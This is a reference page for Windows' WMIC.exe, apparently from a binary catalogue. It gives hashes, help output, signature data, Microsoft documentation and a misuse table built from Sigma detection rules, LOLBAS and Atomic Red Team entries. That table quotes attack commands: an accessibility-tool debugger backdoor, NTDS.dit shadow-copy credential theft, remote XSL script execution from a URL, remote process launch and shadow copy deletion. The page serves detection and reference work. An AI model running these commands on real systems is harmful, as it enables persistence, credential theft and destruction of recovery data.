WMIC.exe

  • File Path: C:\WINDOWS\SysWOW64\wbem\WMIC.exe
  • Description: WMI Commandline Utility

Hashes

Type Hash
MD5 F86F3CA37E51F7A6BD352C3A0471ED1E
SHA1 713DD4B7538BB3F060672D16FA4063044F55436A
SHA256 A6ACB58967159648C84D67B06DC6511A9A831386742B4F1F96B0A19AFC8B8037
SHA384 6F556229723CC7C4BE8682C32DA9F09E3CADFC08BEE821C798511EF2CE21B4FE5FDF81A28C9BF3B7D8F84E8B5D15D22D
SHA512 15EABC3DEB36629516E929DAE188DEFD7658A215100B98FBBAE2A1C6B1A8AA6924221CD9556B508CE5B77F88A4B45FA8D3D7459B760225C152AF7BADE859A213
SSDEEP 6144:x+vVg5snf+xzCQyBnj+YO+9Woyd2cWCGH5enhvoEa:AvV4C5Z+tHt8CGH0nhgEa

Runtime Data

Usage (stdout):


WMIC is deprecated.

[global switches] <command>

The following global switches are available:
/NAMESPACE           Path for the namespace the alias operate against.
/ROLE                Path for the role containing the alias definitions.
/NODE                Servers the alias will operate against.
/IMPLEVEL            Client impersonation level.
/AUTHLEVEL           Client authentication level.
/LOCALE              Language id the client should use.
/PRIVILEGES          Enable or disable all privileges.
/TRACE               Outputs debugging information to stderr.
/RECORD              Logs all input commands and output.
/INTERACTIVE         Sets or resets the interactive mode.
/FAILFAST            Sets or resets the FailFast mode.
/USER                User to be used during the session.
/PASSWORD            Password to be used for session login.
/OUTPUT              Specifies the mode for output redirection.
/APPEND              Specifies the mode for output redirection.
/AGGREGATE           Sets or resets aggregate mode.
/AUTHORITY           Specifies the <authority type> for the connection.
/?[:<BRIEF|FULL>]    Usage information.

For more information on a specific global switch, type: switch-name /?


The following alias/es are available in the current role:
ALIAS                    - Access to the aliases available on the local system
BASEBOARD                - Base board (also known as a motherboard or system board) management.
BIOS                     - Basic input/output services (BIOS) management.
BOOTCONFIG               - Boot configuration management.
CDROM                    - CD-ROM management.
COMPUTERSYSTEM           - Computer system management.
CPU                      - CPU management.
CSPRODUCT                - Computer system product information from SMBIOS. 
DATAFILE                 - DataFile Management.  
DCOMAPP                  - DCOM Application management.
DESKTOP                  - User's Desktop management.
DESKTOPMONITOR           - Desktop Monitor management.
DEVICEMEMORYADDRESS      - Device memory addresses management.
DISKDRIVE                - Physical disk drive management. 
DISKQUOTA                - Disk space usage for NTFS volumes.
DMACHANNEL               - Direct memory access (DMA) channel management.
ENVIRONMENT              - System environment settings management.
FSDIR                    - Filesystem directory entry management. 
GROUP                    - Group account management. 
IDECONTROLLER            - IDE Controller management.  
IRQ                      - Interrupt request line (IRQ) management. 
JOB                      - Provides  access to the jobs scheduled using the schedule service. 
LOADORDER                - Management of system services that define execution dependencies. 
LOGICALDISK              - Local storage device management.
LOGON                    - LOGON Sessions.  
MEMCACHE                 - Cache memory management.
MEMORYCHIP               - Memory chip information.
MEMPHYSICAL              - Computer system's physical memory management. 
NETCLIENT                - Network Client management.
NETLOGIN                 - Network login information (of a particular user) management. 
NETPROTOCOL              - Protocols (and their network characteristics) management.
NETUSE                   - Active network connection management.
NIC                      - Network Interface Controller (NIC) management.
NICCONFIG                - Network adapter management. 
NTDOMAIN                 - NT Domain management.  
NTEVENT                  - Entries in the NT Event Log.  
NTEVENTLOG               - NT eventlog file management. 
ONBOARDDEVICE            - Management of common adapter devices built into the motherboard (system board).
OS                       - Installed Operating System/s management. 
PAGEFILE                 - Virtual memory file swapping management. 
PAGEFILESET              - Page file settings management. 
PARTITION                - Management of partitioned areas of a physical disk.
PORT                     - I/O port management.
PORTCONNECTOR            - Physical connection ports management.
PRINTER                  - Printer device management. 
PRINTERCONFIG            - Printer device configuration management.  
PRINTJOB                 - Print job management. 
PROCESS                  - Process management. 
PRODUCT                  - Installation package task management. 
QFE                      - Quick Fix Engineering.  
QUOTASETTING             - Setting information for disk quotas on a volume. 
RDACCOUNT                - Remote Desktop connection permission management.
RDNIC                    - Remote Desktop connection management on a specific network adapter.
RDPERMISSIONS            - Permissions to a specific Remote Desktop connection.
RDTOGGLE                 - Turning Remote Desktop listener on or off remotely.
RECOVEROS                - Information that will be gathered from memory when the operating system fails. 
REGISTRY                 - Computer system registry management.
SCSICONTROLLER           - SCSI Controller management.  
SERVER                   - Server information management. 
SERVICE                  - Service application management. 
SHADOWCOPY               - Shadow copy management.
SHADOWSTORAGE            - Shadow copy storage area management.
SHARE                    - Shared resource management. 
SOFTWAREELEMENT          - Management of the  elements of a software product installed on a system.
SOFTWAREFEATURE          - Management of software product subsets of SoftwareElement. 
SOUNDDEV                 - Sound Device management.
STARTUP                  - Management of commands that run automatically when users log onto the computer system.
SYSACCOUNT               - System account management.  
SYSDRIVER                - Management of the system driver for a base service.
SYSTEMENCLOSURE          - Physical system enclosure management.
SYSTEMSLOT               - Management of physical connection points including ports,  slots and peripherals, and proprietary connections points.
TAPEDRIVE                - Tape drive management.  
TEMPERATURE              - Data management of a temperature sensor (electronic thermometer).
TIMEZONE                 - Time zone data management. 
UPS                      - Uninterruptible power supply (UPS) management. 
USERACCOUNT              - User account management.
VOLTAGE                  - Voltage sensor (electronic voltmeter) data management.
VOLUME                   - Local storage volume management.
VOLUMEQUOTASETTING       - Associates the disk quota setting with a specific disk volume. 
VOLUMEUSERQUOTA          - Per user storage volume quota management.
WMISET                   - WMI service operational parameters management. 

For more information on a specific alias, type: alias /?

CLASS     - Escapes to full WMI schema.
PATH      - Escapes to full WMI object paths.
CONTEXT   - Displays the state of all the global switches.
QUIT/EXIT - Exits the program.

For more information on CLASS/PATH/CONTEXT, type: (CLASS | PATH | CONTEXT) /?


Usage (stderr):

help - Alias not found.

Signature

  • Status: Signature verified.
  • Serial: 330000023241FB59996DCC4DFF000000000232
  • Thumbprint: FF82BC38E1DA5E596DF374C53E3617F7EDA36B06
  • Issuer: CN=Microsoft Windows Production PCA 2011, O=Microsoft Corporation, L=Redmond, S=Washington, C=US
  • Subject: CN=Microsoft Windows, O=Microsoft Corporation, L=Redmond, S=Washington, C=US

File Metadata

  • Original Filename: wmic.exe.mui
  • Product Name: Microsoft Windows Operating System
  • Company Name: Microsoft Corporation
  • File Version: 10.0.18362.1 (WinBuild.160101.0800)
  • Product Version: 10.0.18362.1
  • Language: English (United States)
  • Legal Copyright: Microsoft Corporation. All rights reserved.

Possible Misuse

The following table contains possible examples of WMIC.exe being misused. While WMIC.exe is not inherently malicious, its legitimate functionality can be abused for malicious purposes.

Source Source File Example License
sigma godmode_sigma_rule.yml - '\wmic.exe' DRL 1.0
sigma win_susp_logon_explicit_credentials.yml - '\wmic.exe' DRL 1.0
sigma sysmon_suspicious_remote_thread.yml - '\wmic.exe' DRL 1.0
sigma file_event_win_win_shell_write_susp_directory.yml - '\wmic.exe' # https://app.any.run/tasks/c903e9c8-0350-440c-8688-3881b556b8e0/ DRL 1.0
sigma image_load_suspicious_dbghelp_dbgcore_load.yml - '\wmic.exe' DRL 1.0
sigma image_load_wmic_remote_xsl_scripting_dlls.yml Image\|endswith: '\wmic.exe' DRL 1.0
sigma image_load_wmi_module_load.yml - 'C:\Windows\System32\wbem\WMIC.exe' DRL 1.0
sigma proc_creation_win_bypass_squiblytwo.yml - '\wmic.exe' DRL 1.0
sigma proc_creation_win_crime_maze_ransomware.yml Image\|endswith: '\wmic.exe' DRL 1.0
sigma proc_creation_win_html_help_spawn.yml - '\wmic.exe' DRL 1.0
sigma proc_creation_win_local_system_owner_account_discovery.yml - Image\|endswith: '\wmic.exe' DRL 1.0
sigma proc_creation_win_mal_blue_mockingbird.yml Image\|endswith: '\wmic.exe' DRL 1.0
sigma proc_creation_win_office_applications_spawning_wmi_commandline.yml - Image: '\wbem\WMIC.exe' DRL 1.0
sigma proc_creation_win_office_applications_spawning_wmi_commandline.yml - OriginalFileName: 'wmic.exe' DRL 1.0
sigma proc_creation_win_office_from_proxy_executing_regsvr32_payload.yml - Image\|endswith: '\wbem\WMIC.exe' DRL 1.0
sigma proc_creation_win_office_from_proxy_executing_regsvr32_payload.yml - OriginalFileName: 'wmic.exe' DRL 1.0
sigma proc_creation_win_office_from_proxy_executing_regsvr32_payload2.yml - Image\|endswith: '\wbem\WMIC.exe' DRL 1.0
sigma proc_creation_win_office_shell.yml - '\wmic.exe' # https://app.any.run/tasks/c903e9c8-0350-440c-8688-3881b556b8e0/ DRL 1.0
sigma proc_creation_win_office_spawning_wmi_commandline.yml - Image\|endswith: '\wbem\WMIC.exe' DRL 1.0
sigma proc_creation_win_outlook_shell.yml - '\wmic.exe' # https://app.any.run/tasks/c903e9c8-0350-440c-8688-3881b556b8e0/ DRL 1.0
sigma proc_creation_win_renamed_binary.yml - 'wmic.exe' DRL 1.0
sigma proc_creation_win_renamed_binary.yml - '\wmic.exe' DRL 1.0
sigma proc_creation_win_renamed_binary_highly_relevant.yml - 'wmic.exe' DRL 1.0
sigma proc_creation_win_renamed_binary_highly_relevant.yml - '\wmic.exe' DRL 1.0
sigma proc_creation_win_shadow_copies_creation.yml - '\wmic.exe' DRL 1.0
sigma proc_creation_win_shadow_copies_deletion.yml - '\wmic.exe' DRL 1.0
sigma proc_creation_win_suspicious_ad_reco.yml Image\|endswith: '\wmic.exe' DRL 1.0
sigma proc_creation_win_susp_eventlog_clear.yml Image\|endswith: '\wmic.exe' DRL 1.0
sigma proc_creation_win_susp_recon.yml - '\WMIC.exe' DRL 1.0
sigma proc_creation_win_susp_servu_process_pattern.yml - '\wmic.exe' # https://app.any.run/tasks/c903e9c8-0350-440c-8688-3881b556b8e0/ DRL 1.0
sigma proc_creation_win_susp_shell_spawn_by_java.yml - '\wmic.exe' # https://app.any.run/tasks/c903e9c8-0350-440c-8688-3881b556b8e0/ DRL 1.0
sigma proc_creation_win_susp_shell_spawn_by_java_keytool.yml - '\wmic.exe' DRL 1.0
sigma proc_creation_win_susp_spoolsv_child_processes.yml - \wmic.exe DRL 1.0
sigma proc_creation_win_susp_wmi_execution.yml Image\|endswith: '\wmic.exe' DRL 1.0
sigma proc_creation_win_webshell_detection.yml Image\|endswith: '\wmic.exe' DRL 1.0
sigma proc_creation_win_wmic_reconnaissance.yml Image\|endswith: \WMIC.exe DRL 1.0
sigma proc_creation_win_wmic_remote_service.yml Image\|endswith: \WMIC.exe DRL 1.0
sigma proc_creation_win_wmic_remove_application.yml Image\|endswith: \WMIC.exe DRL 1.0
sigma proc_creation_win_xsl_script_processing.yml - Image\|endswith: '\wmic.exe' DRL 1.0
sigma proc_creation_win_xsl_script_processing.yml - WMIC.exe FP depend on scripts and administrative methods used in the monitored environment. DRL 1.0
LOLBAS Wmic.yml Name: Wmic.exe  
LOLBAS Wmic.yml - Command: wmic.exe process call create "c:\ads\file.txt:program.exe"  
LOLBAS Wmic.yml - Command: wmic.exe process call create calc  
LOLBAS Wmic.yml - Command: wmic.exe process call create "C:\Windows\system32\reg.exe add \"HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\osk.exe\" /v \"Debugger\" /t REG_SZ /d \"cmd.exe\" /f"  
LOLBAS Wmic.yml - Command: wmic.exe /node:"192.168.0.1" process call create "evil.exe"  
LOLBAS Wmic.yml - Command: wmic.exe /node:REMOTECOMPUTERNAME PROCESS call create "at 9:00PM c:\GoogleUpdate.exe ^> c:\notGoogleUpdateResults.txt"  
LOLBAS Wmic.yml - Command: wmic.exe /node:REMOTECOMPUTERNAME PROCESS call create "cmd /c vssadmin create shadow /for=C:\Windows\NTDS\NTDS.dit > c:\not_the_NTDS.dit"  
LOLBAS Wmic.yml - Command: wmic.exe process get brief /format:"https://raw.githubusercontent.com/LOLBAS-Project/LOLBAS/master/OSBinaries/Payload/Wmic_calc.xsl"  
LOLBAS Wmic.yml - Command: wmic.exe process get brief /format:"\\127.0.0.1\c$\Tools\pocremote.xsl"  
LOLBAS Wmic.yml - Path: C:\Windows\System32\wbem\wmic.exe  
LOLBAS Wmic.yml - Path: C:\Windows\SysWOW64\wbem\wmic.exe  
LOLBAS Wmic.yml - IOC: DotNet CLR libraries loaded into wmic.exe  
LOLBAS Wmic.yml - IOC: DotNet CLR Usage Log - wmic.exe.log  
atomic-red-team T1047.md This test uses wmic.exe to execute a process on the local host. MIT License. © 2018 Red Canary
atomic-red-team T1047.md This test uses wmic.exe to execute a process on a remote host. Specify a valid value for remote IP using the node parameter. MIT License. © 2018 Red Canary
atomic-red-team T1047.md This test uses wmic.exe to execute a DLL function using rundll32. Specify a valid value for remote IP using the node parameter. MIT License. © 2018 Red Canary
atomic-red-team T1069.001.md Utilizing wmic.exe to enumerate groups on the local system. Upon execution, information will be displayed of local groups on system. MIT License. © 2018 Red Canary
atomic-red-team T1069.001.md wmic.exe group get name MIT License. © 2018 Red Canary
atomic-red-team T1220.md | wmic_command | WMI command to execute using wmic.exe | String | process list| MIT License. © 2018 Red Canary
atomic-red-team T1490.md wmic.exe shadowcopy delete MIT License. © 2018 Red Canary
atomic-red-team T1518.001.md wmic.exe /Namespace:\root\SecurityCenter2 Path AntiVirusProduct Get displayName /Format:List MIT License. © 2018 Red Canary

Additional Info*

*The information below is copied from MicrosoftDocs, which is maintained by Microsoft. Available under CC BY 4.0 license.


wmic

Displays WMI information inside an interactive command shell.

Syntax

wmic </parameter>

Sub-commands

The following sub-commands are available at all times:

Sub-command Description
class Escapes from the default alias mode of WMIC to access classes in the WMI schema directly.
path Escapes from the default alias mode of WMIC to access instances in the WMI schema directly.
context Displays the current values of all global switches.
[quit | exit] Exits the WMIC command shell.

Examples

To display the current values of all global switches, type:

wmic context

Output similar to the following displays:

NAMESPACE    : root\cimv2
ROLE         : root\cli
NODE(S)      : BOBENTERPRISE
IMPLEVEL     : IMPERSONATE
[AUTHORITY   : N/A]
AUTHLEVEL    : PKTPRIVACY
LOCALE       : ms_409
PRIVILEGES   : ENABLE
TRACE        : OFF
RECORD       : N/A
INTERACTIVE  : OFF
FAILFAST     : OFF
OUTPUT       : STDOUT
APPEND       : STDOUT
USER         : N/A
AGGREGATE    : ON

To change the language ID used by the command line to English (locale ID 409), type:

wmic /locale:ms_409

Additional References


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